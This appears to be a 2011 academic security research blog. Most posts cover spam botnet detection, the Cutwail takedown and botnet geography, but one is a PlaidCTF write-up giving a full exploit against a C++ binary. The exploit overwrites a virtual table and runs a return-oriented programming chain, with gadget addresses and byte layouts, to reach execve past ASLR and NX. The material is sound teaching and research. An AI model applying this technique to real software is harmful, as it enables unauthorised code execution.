Tuesday, June 14, 2011

BotMagnifier: Locating Spambots on the Internet

During the 20th USENIX Security Symposium, which will take place in San Francisco starting August 8, we will present our paper BotMagnifier: Locating Spambots on the Internet.

This paper tries to tackle the problem of detecting bot infected machines from a new perspective: the idea behind BotMagnifier is that bots belonging to the same botnet will share the same codebase and will take orders from the same set of C&C servers. Based on this insight, it should be possible to detect bot infected machines by learning the spamming behavior of a subset of known bots, and look in a network traffic dataset for more machines (i.e., IP addresses) that behaved in the same way.

Having an extensive list of bot infected machines is useful for many purposes: it helps tracking the size of the world's largest spamming botnets, and it can be used by ISPs to clean up their networks, by removing or sanitizing the infected machines.

We developed a system, called BotMagnifier, which is able to grow bot populations from a subset of known spamming bots. In particular, our system builds, for each day of analysis, a collection of IP addresses, called seed pools, that are known to have carried out a specific campaign. To do this, we take advantage of a large spam trap, set up by a US provider. On the side, we also run malware samples, and, when possible, label the campaigns we observe in the spam trap with the botnet that generated them.

After we have the seed pools, we learn the spamming behavior of these IP addresses using a transaction log. A transaction log is a record of transactions carried out on the Internet during the same time period used for the generation of the seed pools. It gives information on which IP address sent an email to which destination at what time. We used the logs from our Spamhaus mirror at UCSB for building the transaction log. There are many feature that can characterize the spamming behavior of a bot. Unfortunately, our transaction log is very partial, and show us only a small part of the email transactions that actually happened. For this reason, we only characterize the behavior of the botnet based on the destinations (i.e., mail servers) its bots contacted during a certain time frame. First, we list the destination each seed pool contacted on the transaction logs. As a second step, we look for more IPs that contacted a certain number of those destination (more than a threshold N), and no others. By doing this, we obtain a magnified pool of IP address, that we believe belong to the same botnet.

To validate our approach, we used the data contained in the Cutwail C&C servers we captured last summer. We extracted a subset of IPs, we grew them as described, and we checked how many of those actually connected to the C&C servers during the time of the experiment. Our results show that, with good confidence, our approach is able to effectively track botnets.

We also ran BotMagnifier in the wild for four months. During this period, we were able to track the activity of the world's largest spamming botnets (Rustock, Lethic, Cutwail), and we detected important events, such as the comeback of the Waledack botnet, or the takedown of MegaD.

Despite our choice of datasets for building seed pools and for the transaction logs, we also show that the approach can work on any other dataset, by tweaking some parameters.

Friday, April 29, 2011

PlaidCTF 2011 Challenge #17: C++5x writeup

This is a challenge that required a lot of work from Zardus and me, but we think that the solution we came up with is really interesting. Some other teams apparently just disabled libc ASLR to make things easier, instead we dynamically calculated the address of the exec() we wanted to call, and jumped to it.

The challenge involved a C++ binary with the following usage:

  # ./first_cpp
  Usage: ./first_cpp <name> <point>

The binary creates a C++ object (which has one method) on the stack in main(), and then calls a function which has an unrestricted buffer overflow followed by a call to the aforementioned method. As well as the overflow, the second function conveniently copies part of the buffer into the bss.

  void __cdecl stupid_function(int obj_ptr, int points, int name_ptr)
    char src; // [sp+26h] [bp-32h]@1

    sprintf(&src, "Uploading... [%s]: %d pts\n", name_ptr, points);
    memcpy(s, &src, 0x32u);
    (**(int (__cdecl ***)(_DWORD, _DWORD))obj_ptr)(obj_ptr, s);

It is important to note that the function with the overflow never returns, send_to_localhost() calls exit() after sending a UDP packet to localhost containing the points variable.

Normally, exploiting this would be a piece of cake. However, the machine had both ASLR and NX enabled and functional. A further complication was the absense of any helpful libc calls in the GOT due to the fact that the binary does not call such functions.

The answer lies in the method call. Since the C++ object resides on the stack, and we can overwrite it with the buffer overflow, we can change the address that is eventually called. A C++ method call in such a fashion consists of the following instructions:

  mov     eax, [ebp+obj_ptr]
  mov     eax, [eax]
  mov     edx, [eax]
  mov     dword ptr [esp+4], offset s
  mov     eax, [ebp+obj_ptr]
  mov     [esp], eax
  call    edx

The first mov dereferences the pointer (passed as an argument to the function) into the location of the object on the stack (the first word of which is the location of the virtual table for the object). The second mov acquires the address of the virtual table, and the third mov gets the address of the function to be called. The exploit involves overwriting the object on the stack to point to our own fake virtual table, which is conveniently copied for us into the bss. Luckily, the bss remains stable in memory, which makes this task fairly easy.

The general idea of the exploit is as follows: first, we acquire the address of a libc function that *is* in the GOT into eax. Then, using the offset between that function and a call to exec (we didn't use system() because system() drops privilages), we increment eax until it is pointing to the exec call. Finally, we jump to a "call eax" instruction. This works because even though libc is in a random location, the relative offsets between the functions are the same. We calculated the offset by subtracting the address of the libc function from the address of the exec call in gdb on the target machine:

  (gdb) p atoi
  $5 = {int (const char *)} 0xf7d50b40
  (gdb) x/i do_system+1128
     0xf7d5c398 : call   0xf7dbc3f0 <__execve>
  (gdb) p 0xf7d5c398 - 0xf7d50b40
  $6 = 47192

In order to carry out our exploit, we ended up using some pretty intricate return-oriented programming. We found several gadgets to help us:

  1. POP_RET: a simple pop, return gadget at 0x080487a1 to clean up the stack after a call
  2. POP3_RET: a simple pop, pop, pop, return gadget at 0x08048a2f for the same reason
  3. JUST_RET: a ret instruction at 0x08048a32 to ret to our next destination
  4. LEAVE_RET: a leave, ret gadget at 0x080487a1
  5. The sprintf stub function call, always at 0x080485ec
  6. A piece of code at 0x08048949 which reads a local variable into eax and eventually calls sendto:

      mov eax, [ebp-0x1C]
      mov [esp], eax
      call _sendto

  7. A piece of code at 0x0804890f which adds 8 to eax and soon calls bzero:

      add eax, 8
      mov [esp], eax
      call _bzero

  8. A piece of code at 0x0804879F which calls eax

The beginning of our exploit is:

  -------- copied into bbs ---------
  00. "AAAA"
  04. "AAAA"
  08. "AAAA"
  12. POP3_RET
  16. POP_RET
  20. "\xe2\x9d\x04\x08"
  24. "\xea\x9d\x04\x08"
  32. "%.4s"
  -------- on the stack ---------
  36. "BBBB"
  40. POP_RET
  44. "\xe6\x9d\x04\x08"

The first 36 bytes are conveniently copied into the bbs, and are used through the rest of the return-oriented program. When the buffer is overflowed, (44) ends up getting written over the virtual table pointer for the C++ object. It then resolves to (24), which resolves to (28). The program then calls LEAVE_RET, which moves ebp (currently pointing at 36) back to esp, allowing us to bypass the inconvenient values on the stack which were copied into the bss. "BBBB" is popped into ebp and we return to the POP_RET instruction (40). This POP_RET allows us to skip over the fake virtual table pointer on the stack. Then the following happens:

  48. POP_RET
  52. "\xe6\x9d\x04\x08"

This pops an address (52) into ebp and returns again. We did this so that ebp would point to writeable memory, as functions sometime expect it to do that. After this, we copy atoi's address to get ready to read it:

  56. "\xec\x85\x04\x08"
  60. POP3_RET
  64. "\xd4\x9d\x04\x08"
  68. "\xee\x9d\x04\x08"
  72. "\x58\x9d\x04\x08"

(56) is the address of sprintf, which we will use to overwrite memory addresses. The destination, (64), lies in the dtors section. We chose arbitrarily for some storage space. The format string, (68), is a pointer to (32) on the bss, and copies 4 bytes. Finally, the argument, (72), is a pointer to atoi's entry in the GOT. We set sprintf's return address (60) to POP3_RET, which cleans the arguments off the stack. After this, we have atoi's address at 0x08049dd4. Now we do a bit of cleanup for future actions:

  76. "\xec\x85\x04\x08"
  80. POP3_RET
  84. "\x3c\x9d\x04\x08"
  88. "\xee\x9d\x04\x08"
  92. "\xda\x9d\x04\x08"

  96. "\xec\x85\x04\x08"
  100. POP3_RET
  104. "\x64\x9d\x04\x08"
  108. "\xee\x9d\x04\x08"
  112. "\xda\x9d\x04\x08"

These two blocks use sprintf to overwrite the GOT entries to sendto (84) and bzero (104). Both of them are overwritten with the value of POP3_RET (12) in bss, which has the result of turning both sendto and bzero into a pop,pop,pop,ret gadget. Then, we move on:

  116. POP_RET
  120. "\xe0\x9d\x04\x08" # 0x8049dec -- where we wrote - 1C
  124. "\x49\x89\x04\x08" # get atoi address into eax
  128. JUST_RET
  132. JUST_RET
  136. JUST_RET
  140. JUST_RET

(116) pops (120) into ebp, which is (64), the address where we copied atoi's address, plus 0x1C. It then returns to (124), which is code gadget (6). This has the effect of moving atoi's address into eax. That gadget ends up calling sendto, which is now POP3_RET, which ends up cleaning up our stack (including the unwanted return address that the call instruction pushes) and returning. We then return to:

  for i in range(5883):
    144. "\x0f\x89\x04\x08"
    148. "AAAA"
    152. "AAAA"

This is an unrolled loop that essentially increments eax by 8 using code gadget (7), which is located at (144). Since that code gadget ends in a call to bzero, which is now POP3_RET, which pops off the return address and (148) and (152) and returns back to the code gadget. This runs 5883 times, which is the distance between atoi and the execve call (47064) divided by 8. Finally, we return to code gadget 8:

  156. "\x9f\x87\x04\x08"
  160. "\xf2\x9d\x04\x08"
  164. "\xf2\x9d\x04\x08"

(160) and (164) point to zero-filled space in the bss for the args and env of the execve call. The program name, unfortunately, is co-opted by the call instruction pushing the return value. Luckily, that return value points to a "string" in the code section and we can create the appropriate file.

And, after all that horror, we're done!

Friday, April 8, 2011

Why timing patterns and botnet detection don't work together

Last year I started working on a project whose goal was to spot behavioral patterns in the bots belonging to different botnets. The basic idea was that bots belonging to a botnet will periodically get orders from a botmaster. The orders will include an e-mail template, and a list of addresses to send those e-mails to. After having carried out its task, a bot would have waited for the next chunk of orders from the botmaster. From a traffic point of view, this behavior would have been reflected in periods of high activity, followed by periods of idleness by the bots.
The first dataset we used to study the bot behavior is a spam trap set up by a large ISP. This spam trap is composed by 150k e-mail addresses, all belonging to the same domain. We logged the e-mails these addresses received for a while, and clustered them in campaigns. Our assumption is that each campaign will be carry out by a single botnet (but, of course, the same botnet can carry out different campaigns). By analyzing the different campaigns, we found that the spam trap addresses received the e-mails during specific times, which reflected in spikes and long idle periods. We were happy about this discovery, that would have made it possible to detect bots just by observing their e-mail sending behavior.
We then moved to the logs from our Spamhaus mirror. By looking at the queries mail server ask to our server, we can infer which IP address sent an e-mail to which server at a given point in time. By looking at these logs, we found out that the same IP addresses that showed nice timing patterns in the spam trap data appeared to be active all the time on this dataset.
To find out what was going on, we decided to run malware samples from the largest spamming botnets at the time. We actually found out that the bots are active all the time, with no meaningful idle periods. We then made another interesting discovery: usually bots get a chunk of a large e-mail list to send their spam to, and often this list is alphabetically ordered by domain. The timing patterns we were seeing are caused by the bots reaching the letter our spam trap domain starts with, and the idle periods were caused by the bots sending mails to other domains! 
Mystery solved, and a good lesson learned.

Wednesday, March 23, 2011

The Underground Economy of Spam: A Botmaster's Perspective of Coordinating Large-Scale Spam Campaigns

During the 4th USENIX Symposium on Large-Scale Exploits and Emerging Threats, which will take place in Boston next week, we will present our paper The Underground Economy of Spam: A Botmaster's Perspective of Coordinating Large-Scale Spam Campaigns.

It all started last August, when we identified several Command and Control servers responsible of the activities of the Cutwail spamming botnet. Thanks to our contacts with different Internet Service Providers, we managed to take down 16 of these servers and we obtained access to the data stored on them. At first, this operation had a big impact on the botnet's activity, reducing the amount of spam sent by Cutwail by a lot (from our estimates, the servers we took down accounted for half to two thirds of the overall ones). Unfortunately, after a few weeks, the Cutwail crew set up new Command and Control servers, and the spam activity began again. Currently, after the Rustock takedown from last week, Cutwail is the second largest spamming botnet after Lethic.

Even though this takedown has not been very successful in the big picture of fighting world's spam, the data we obtained gave us a unique insight on the modus operandi of the botmasters of a large botnet, as well as on the challenges involved in sending millions of junk emails throughout the Internet. Cutwail is sold as a software package under the name of 0bulk Psyche Evolution. This package provides a web interface that aids the spammer in all the tasks involved in organizing the spam campaign: building a template for the emails, making sure that it doesn't get detected as spam by spamassassin, picking a list of email addresses to send the spam to, and selecting the bots that will carry out that campaign. 0bulk Psyche Evolution comes with a user manual that provides useful instruction on how to correct dimension all the parameters involved in the spam campaign to make it as effective as possible.

The servers we obtained access to had all been set up by the same people, who rented them to different organization to run their spam campaigns. All the most common types of spam were sent using these servers, from phishing, to pharmaceuticals, to malware attachments. In the paper, we provide detailed statistics on how effective these operations were, and how many victims and bots were involved. During a period of one year, the part of the botnet controlled by those servers was able to deliver more than 500 billion messages.

In the paper, we also analyze spamdot.biz, an online forum where it was possible to trade illicit goods such as renting a botnet, or buying a list of email addresses to send spam to. The analysis of this forum gave us an overview on how much these goods are worth. This also gave us the possibility to estimate how much money the Cutwail crew made by running the botnet. Approximately, this should be between 1.7 million dollars to 4.2 million dollars over one year.

Monday, February 14, 2011

Where do all those bots come from?

Many studies periodically tell us where the worldwide spam comes from. One of the latest identified the United States as the country carrying out the most spam, followed by India and Brazil. What is not usually mentioned is whether differences exist between the country distribution of the bots belonging to the main botnets. During one of our recent research projects, we had the possibility to track some of the world's major botnets. We collected IPs belonging to these botnets for four months, from September to the beginning of February, so that we could have a good overview of the whole botnet populations. 
Interestingly, we found out that these populations are not uniform, but vary a lot from botnet to botnet. Below is the country distribution for Rustock:
For this botnet, the majority of the bots we tracked is located in the United States (7.9%), followed by Brazil (7.4%), Vietnam (6.4%) and Germany (6.2%). Rustock is considered to be the most active botnet at the time, and the fact that most of its bots are located in the US corroborates the general statistics we cited.
Other botnets have very different country distributions than Rustock. Here is the worldwide location of Lethic bots:

The country where most Lethic bots are located is Brazil (6.8%), followed by India (6.64%), Russia (6.2%) and Vietnam (5.9%). The United States only host 4.6% of the Lethic bots.
Another interesting country distribution to look at is the one of the Cutwail botnet:

For this botnet, 9.7% of the bots are in Brazil, 7% are in India, 6.7% are in Russia, and only 3.1% are in the US.
The last interesting botnet we tracked is the so-called Waledac 2.0, that started spamming again at the end of December 2010. Here is its country distribution:

For this botnet, the most bots are in Brazil (15%), while the US accounts only for 2.4% of them.
The reason for this big differences might be found in how malware is spread. A common case is a legitimate website that gets compromised, and tries to make user machines install the malicious software with a drive-by-download attack. Of course, if the legitimate site was, for example, a Brazilian site, the majority of the machines that will get infected by visiting it will be from Brazil.
Also, in the underground economy, bots located in different countries are sold at different prices. Those located in Europe or in the United States are the most expensive, mainly because they can ensure higher bandwidth and send out more spam messages.